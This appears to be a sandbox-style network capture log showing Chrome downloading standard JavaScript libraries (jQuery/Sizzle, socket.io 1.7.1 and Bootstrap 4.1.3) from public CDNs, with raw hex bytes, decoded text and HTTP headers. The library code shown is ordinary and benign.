2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 64 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 64 7c 35 36 33 32 30 29 7d 2c 62 61 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c 78 37 66 2d 5c 75 46 46 46 46 5c 77 2d 5d 2f 67 2c 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 62 3f 22 5c 30 22 3d 3d 3d 61 3f 22 5c 75 66 66 66 64 22 3a 61 2e 73 6c 69 63 65 28 30 2c 2d 31 29 2b 22 5c 5c 22 2b 61 2e 63 68 61 72 43 6f 64 65 41 74 28 61 2e 6c 65 6e 67 74 68 2d 31 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 2b 22 20 22 3a 22 5c 5c 22 2b 61 7d 2c 64 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6d 28 29 7d 2c 65 61 3d 74 61 28 66 75 6e 63 74 69 6f Data Ascii: 5536):String.fromCharCode(d>>10\|55296,1023&d\|56320)},ba=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(functio
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 65 6e 74 4e 6f 64 65 29 7c 7c 62 7d 69 66 28 72 29 74 72 79 7b 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 73 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 72 29 29 2c 64 7d 63 61 74 63 68 28 78 29 7b 7d 66 69 6e 61 6c 6c 79 7b 6b 3d 3d 3d 75 26 26 62 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 7d 7d 7d 72 65 74 75 72 6e 20 69 28 61 2e 72 65 70 6c 61 63 65 28 50 2c 22 24 31 22 29 2c 62 2c 64 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 68 61 28 29 7b 76 61 72 20 61 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 62 28 63 2c 65 29 7b 72 65 74 75 72 6e 20 61 2e 70 75 73 68 28 63 2b 22 20 22 29 3e 64 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 62 5b 61 2e 73 68 69 66 74 28 29 5d 2c 62 5b 63 2b 22 20 22 5d 3d 65 7d 72 Data Ascii: entNode)\|\|b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}r
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 7d 2c 66 3d 67 61 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 26 26 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 21 21 62 26 26 22 48 54 4d 4c 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 7d 2c 6d 3d 67 61 2e 73 65 74 44 6f 63 75 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 65 2c 67 3d 61 3f 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 3a 76 3b 72 65 74 75 72 6e 20 67 21 3d 3d 6e 26 26 39 3d 3d 3d 67 2e 6e 6f 64 65 54 79 70 65 26 26 67 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3f 28 6e 3d 67 2c 6f 3d 6e 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 70 3d 21 66 28 6e 29 2c 76 21 3d 3d 6e 26 26 28 65 Data Ascii: },f=ga.isXML=function(a){var b=a&&(a.ownerDocument\|\|a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument\|\|a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 61 29 72 65 74 75 72 6e 5b 66 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 64 2e 66 69 6e 64 2e 54 41 47 3d 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 61 29 3a 63 2e 71 73 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 5b 5d 2c 65 3d 30 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 61 29 3b 69 66 Data Ascii: c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 69 73 61 62 6c 65 64 3d 21 30 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 64 69 73 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2a 2c 3a 78 22 29 2c 71 2e 70 75 73 68 28 22 2c 2e 2a 3a 22 29 7d 29 29 2c 28 63 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 3d 59 2e 74 65 73 74 28 73 3d 6f 2e 6d 61 74 63 68 65 73 7c 7c 6f 2e 77 65 62 6b 69 74 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 6f 2e 6d 6f 7a 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 6f 2e 6f 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 6f 2e 6d 73 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f Data Ascii: isabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll(",:x"),q.push(",.:")})),(c.matchesSelector=Y.test(s=o.matches\|\|o.webkitMatchesSelector\|\|o.mozMatchesSelector\|\|o.oMatchesSelector\|\|o.msMatchesSelecto

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49783	104.17.24.14	443	764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 07:35:13 UTC	382	OUT	GET /ajax/libs/socket.io/1.7.1/socket.io.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-13 07:35:14 UTC	952	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:35:14 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fd5-33bbf" Last-Modified: Mon, 04 May 2020 16:16:21 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 4 Expires: Wed, 03 Dec 2025 07:35:14 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ON7Xq9vkdzquti5yrY0kqjwJ6uJI0hIyPpfEk%2BiVbO1VzS9yBQ3nZqMsBCtl9Mq1N2Qp91pmAqLfboJlWCVdw85HiG7ADOVe8fN%2FQEk9lZGgRpf0gIfHJffTTvekLGku6GnI13Yy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f1446b8a8067cfc-EWR alt-svc: h3=":443"; ma=86400
2024-12-13 07:35:14 UTC	417	IN	Data Raw: 37 62 66 31 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 77 65 62 70 61 63 6b 55 6e 69 76 65 72 73 61 6c 4d 6f 64 75 6c 65 44 65 66 69 6e 69 74 69 6f 6e 28 72 6f 6f 74 2c 20 66 61 63 74 6f 72 79 29 20 7b 0a 09 69 66 28 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 20 3d 3d 3d 20 27 6f 62 6a 65 63 74 27 20 26 26 20 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 20 3d 3d 3d 20 27 6f 62 6a 65 63 74 27 29 0a 09 09 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 20 3d 20 66 61 63 74 6f 72 79 28 29 3b 0a 09 65 6c 73 65 20 69 66 28 74 79 70 65 6f 66 20 64 65 66 69 6e 65 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 20 26 26 20 64 65 66 69 6e 65 2e 61 6d 64 29 0a 09 09 64 65 66 69 6e 65 28 5b 5d 2c 20 66 61 63 74 6f 72 79 29 3b 0a 09 65 6c 73 65 20 69 66 28 74 79 70 65 6f 66 20 65 78 70 6f Data Ascii: 7bf1(function webpackUniversalModuleDefinition(root, factory) {if(typeof exports === 'object' && typeof module === 'object')module.exports = factory();else if(typeof define === 'function' && define.amd)define([], factory);else if(typeof expo
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 2a 2a 2a 2f 20 09 2f 2f 20 54 68 65 20 6d 6f 64 75 6c 65 20 63 61 63 68 65 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 76 61 72 20 69 6e 73 74 61 6c 6c 65 64 4d 6f 64 75 6c 65 73 20 3d 20 7b 7d 3b 0a 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 2f 2f 20 54 68 65 20 72 65 71 75 69 72 65 20 66 75 6e 63 74 69 6f 6e 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 66 75 6e 63 74 69 6f 6e 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 6d 6f 64 75 6c 65 49 64 29 20 7b 0a 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 09 2f 2f 20 43 68 65 63 6b 20 69 66 20 6d 6f 64 75 6c 65 20 69 73 20 69 6e 20 63 61 63 68 65 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 09 69 66 28 69 6e 73 74 61 6c 6c 65 64 4d 6f 64 75 6c 65 73 5b 6d 6f 64 75 6c 65 49 64 5d 29 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 09 09 72 65 74 75 72 6e 20 69 6e Data Ascii: */ // The module cache/**/ var installedModules = {};/**/ // The require function/**/ function __webpack_require__(moduleId) {/**/ // Check if module is in cache/**/ if(installedModules[moduleId])/****/ return in
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 20 53 79 6d 62 6f 6c 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 26 26 20 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 20 3d 3d 3d 20 22 73 79 6d 62 6f 6c 22 20 3f 20 66 75 6e 63 74 69 6f 6e 20 28 6f 62 6a 29 20 7b 20 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 3b 20 7d 20 3a 20 66 75 6e 63 74 69 6f 6e 20 28 6f 62 6a 29 20 7b 20 72 65 74 75 72 6e 20 6f 62 6a 20 26 26 20 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 26 26 20 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 20 3d 3d 3d 20 53 79 6d 62 6f 6c 20 26 26 20 6f 62 6a 20 21 3d 3d 20 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 20 3f 20 22 73 79 6d 62 6f 6c 22 20 3a 20 74 79 70 65 6f 66 20 6f 62 6a 3b 20 7d 3b 0a 0a 09 2f 2a 2a Data Ascii: Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };/**
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 0a 09 20 20 69 66 20 28 6e 65 77 43 6f 6e 6e 65 63 74 69 6f 6e 29 20 7b 0a 09 20 20 20 20 64 65 62 75 67 28 27 69 67 6e 6f 72 69 6e 67 20 73 6f 63 6b 65 74 20 63 61 63 68 65 20 66 6f 72 20 25 73 27 2c 20 73 6f 75 72 63 65 29 3b 0a 09 20 20 20 20 69 6f 20 3d 20 4d 61 6e 61 67 65 72 28 73 6f 75 72 63 65 2c 20 6f 70 74 73 29 3b 0a 09 20 20 7d 20 65 6c 73 65 20 7b 0a 09 20 20 20 20 69 66 20 28 21 63 61 63 68 65 5b 69 64 5d 29 20 7b 0a 09 20 20 20 20 20 20 64 65 62 75 67 28 27 6e 65 77 20 69 6f 20 69 6e 73 74 61 6e 63 65 20 66 6f 72 20 25 73 27 2c 20 73 6f 75 72 63 65 29 3b 0a 09 20 20 20 20 20 20 63 61 63 68 65 5b 69 64 5d 20 3d 20 4d 61 6e 61 67 65 72 28 73 6f 75 72 63 65 2c 20 6f 70 74 73 29 3b 0a 09 20 20 20 20 7d 0a 09 20 20 20 20 69 6f 20 3d 20 63 61 63 Data Ascii: if (newConnection) { debug('ignoring socket cache for %s', source); io = Manager(source, opts); } else { if (!cache[id]) { debug('new io instance for %s', source); cache[id] = Manager(source, opts); } io = cac
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 32 29 3b 0a 09 76 61 72 20 64 65 62 75 67 20 3d 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 33 29 28 27 73 6f 63 6b 65 74 2e 69 6f 2d 63 6c 69 65 6e 74 3a 75 72 6c 27 29 3b 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 4d 6f 64 75 6c 65 20 65 78 70 6f 72 74 73 2e 0a 09 20 2a 2f 0a 0a 09 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 20 3d 20 75 72 6c 3b 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 55 52 4c 20 70 61 72 73 65 72 2e 0a 09 20 2a 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 53 74 72 69 6e 67 7d 20 75 72 6c 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 4f 62 6a 65 63 74 7d 20 41 6e 20 6f 62 6a 65 63 74 20 6d 65 61 6e 74 20 74 6f 20 6d 69 6d 69 63 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 0a 09 20 Data Ascii: __webpack_require__(2);var debug = __webpack_require__(3)('socket.io-client:url');/** * Module exports. /module.exports = url;/* * URL parser. * * @param {String} url * @param {Object} An object meant to mimic window.location.
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 3d 20 69 70 76 36 20 3f 20 27 5b 27 20 2b 20 6f 62 6a 2e 68 6f 73 74 20 2b 20 27 5d 27 20 3a 20 6f 62 6a 2e 68 6f 73 74 3b 0a 0a 09 20 20 2f 2f 20 64 65 66 69 6e 65 20 75 6e 69 71 75 65 20 69 64 0a 09 20 20 6f 62 6a 2e 69 64 20 3d 20 6f 62 6a 2e 70 72 6f 74 6f 63 6f 6c 20 2b 20 27 3a 2f 2f 27 20 2b 20 68 6f 73 74 20 2b 20 27 3a 27 20 2b 20 6f 62 6a 2e 70 6f 72 74 3b 0a 09 20 20 2f 2f 20 64 65 66 69 6e 65 20 68 72 65 66 0a 09 20 20 6f 62 6a 2e 68 72 65 66 20 3d 20 6f 62 6a 2e 70 72 6f 74 6f 63 6f 6c 20 2b 20 27 3a 2f 2f 27 20 2b 20 68 6f 73 74 20 2b 20 28 6c 6f 63 20 26 26 20 6c 6f 63 2e 70 6f 72 74 20 3d 3d 3d 20 6f 62 6a 2e 70 6f 72 74 20 3f 20 27 27 20 3a 20 27 3a 27 20 2b 20 6f 62 6a 2e 70 6f 72 74 29 3b 0a 0a 09 20 20 72 65 74 75 72 6e 20 6f 62 6a 3b Data Ascii: = ipv6 ? '[' + obj.host + ']' : obj.host; // define unique id obj.id = obj.protocol + '://' + host + ':' + obj.port; // define href obj.href = obj.protocol + '://' + host + (loc && loc.port === obj.port ? '' : ':' + obj.port); return obj;
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 20 26 26 20 65 20 21 3d 20 2d 31 29 20 7b 0d 0a 09 20 20 20 20 20 20 20 20 75 72 69 2e 73 6f 75 72 63 65 20 3d 20 73 72 63 3b 0d 0a 09 20 20 20 20 20 20 20 20 75 72 69 2e 68 6f 73 74 20 3d 20 75 72 69 2e 68 6f 73 74 2e 73 75 62 73 74 72 69 6e 67 28 31 2c 20 75 72 69 2e 68 6f 73 74 2e 6c 65 6e 67 74 68 20 2d 20 31 29 2e 72 65 70 6c 61 63 65 28 2f 3b 2f 67 2c 20 27 3a 27 29 3b 0d 0a 09 20 20 20 20 20 20 20 20 75 72 69 2e 61 75 74 68 6f 72 69 74 79 20 3d 20 75 72 69 2e 61 75 74 68 6f 72 69 74 79 2e 72 65 70 6c 61 63 65 28 27 5b 27 2c 20 27 27 29 2e 72 65 70 6c 61 63 65 28 27 5d 27 2c 20 27 27 29 2e 72 65 70 6c 61 63 65 28 2f 3b 2f 67 2c 20 27 3a 27 29 3b 0d 0a 09 20 20 20 20 20 20 20 20 75 72 69 2e 69 70 76 36 75 72 69 20 3d 20 74 72 75 65 3b 0d 0a 09 20 20 Data Ascii: && e != -1) { uri.source = src; uri.host = uri.host.substring(1, uri.host.length - 1).replace(/;/g, ':'); uri.authority = uri.authority.replace('[', '').replace(']', '').replace(/;/g, ':'); uri.ipv6uri = true;
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 37 37 33 0a 09 20 20 2f 2f 20 64 6f 63 75 6d 65 6e 74 20 69 73 20 75 6e 64 65 66 69 6e 65 64 20 69 6e 20 72 65 61 63 74 2d 6e 61 74 69 76 65 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 61 63 65 62 6f 6f 6b 2f 72 65 61 63 74 2d 6e 61 74 69 76 65 2f 70 75 6c 6c 2f 31 36 33 32 0a 09 20 20 72 65 74 75 72 6e 20 28 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 26 26 20 27 57 65 62 6b 69 74 41 70 70 65 61 72 61 6e 63 65 27 20 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 29 20 7c 7c 0a 09 20 20 20 20 2f 2f 20 69 73 20 66 69 72 65 62 75 67 3f 20 68 74 74 70 3a 2f 2f 73 74 61 63 6b 6f 76 65 72 66 6c 6f 77 2e 63 6f 6d 2f 61 2f 33 39 38 31 32 Data Ascii: 773 // document is undefined in react-native: https://github.com/facebook/react-native/pull/1632 return (typeof document !== 'undefined' && 'WebkitAppearance' in document.documentElement.style) \|\| // is firebug? http://stackoverflow.com/a/39812
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 6f 75 6c 64 20 62 65 20 6f 74 68 65 72 0a 09 20 20 2f 2f 20 61 72 67 75 6d 65 6e 74 73 20 70 61 73 73 65 64 20 65 69 74 68 65 72 20 62 65 66 6f 72 65 20 6f 72 20 61 66 74 65 72 20 74 68 65 20 25 63 2c 20 73 6f 20 77 65 20 6e 65 65 64 20 74 6f 0a 09 20 20 2f 2f 20 66 69 67 75 72 65 20 6f 75 74 20 74 68 65 20 63 6f 72 72 65 63 74 20 69 6e 64 65 78 20 74 6f 20 69 6e 73 65 72 74 20 74 68 65 20 43 53 53 20 69 6e 74 6f 0a 09 20 20 76 61 72 20 69 6e 64 65 78 20 3d 20 30 3b 0a 09 20 20 76 61 72 20 6c 61 73 74 43 20 3d 20 30 3b 0a 09 20 20 61 72 67 73 5b 30 5d 2e 72 65 70 6c 61 63 65 28 2f 25 5b 61 2d 7a 25 5d 2f 67 2c 20 66 75 6e 63 74 69 6f 6e 28 6d 61 74 63 68 29 20 7b 0a 09 20 20 20 20 69 66 20 28 27 25 25 27 20 3d 3d 3d 20 6d 61 74 63 68 29 20 72 65 74 75 72 Data Ascii: ould be other // arguments passed either before or after the %c, so we need to // figure out the correct index to insert the CSS into var index = 0; var lastC = 0; args[0].replace(/%[a-z%]/g, function(match) { if ('%%' === match) retur
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 65 62 75 67 20 69 73 6e 27 74 20 73 65 74 20 69 6e 20 4c 53 2c 20 61 6e 64 20 77 65 27 72 65 20 69 6e 20 45 6c 65 63 74 72 6f 6e 2c 20 74 72 79 20 74 6f 20 6c 6f 61 64 20 24 44 45 42 55 47 0a 09 20 20 69 66 20 28 74 79 70 65 6f 66 20 70 72 6f 63 65 73 73 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 26 26 20 27 65 6e 76 27 20 69 6e 20 70 72 6f 63 65 73 73 29 20 7b 0a 09 20 20 20 20 72 65 74 75 72 6e 20 70 72 6f 63 65 73 73 2e 65 6e 76 2e 44 45 42 55 47 3b 0a 09 20 20 7d 0a 09 7d 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 45 6e 61 62 6c 65 20 6e 61 6d 65 73 70 61 63 65 73 20 6c 69 73 74 65 64 20 69 6e 20 60 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 64 65 62 75 67 60 20 69 6e 69 74 69 61 6c 6c 79 2e 0a 09 20 2a 2f 0a 0a 09 65 78 70 6f 72 74 73 2e 65 6e 61 62 6c 65 Data Ascii: ebug isn't set in LS, and we're in Electron, try to load $DEBUG if (typeof process !== 'undefined' && 'env' in process) { return process.env.DEBUG; }}/** * Enable namespaces listed in `localStorage.debug` initially. */exports.enable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49785	104.18.10.207	443	764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 07:35:13 UTC	385	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-13 07:35:14 UTC	967	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:35:14 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: c6c8a086d090f1d2baac8a7b0c894894 CDN-Cache: HIT CF-Cache-Status: HIT Age: 1458919 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f1446b8ab36c35d-EWR alt-svc: h3=":443"; ma=86400
2024-12-13 07:35:14 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
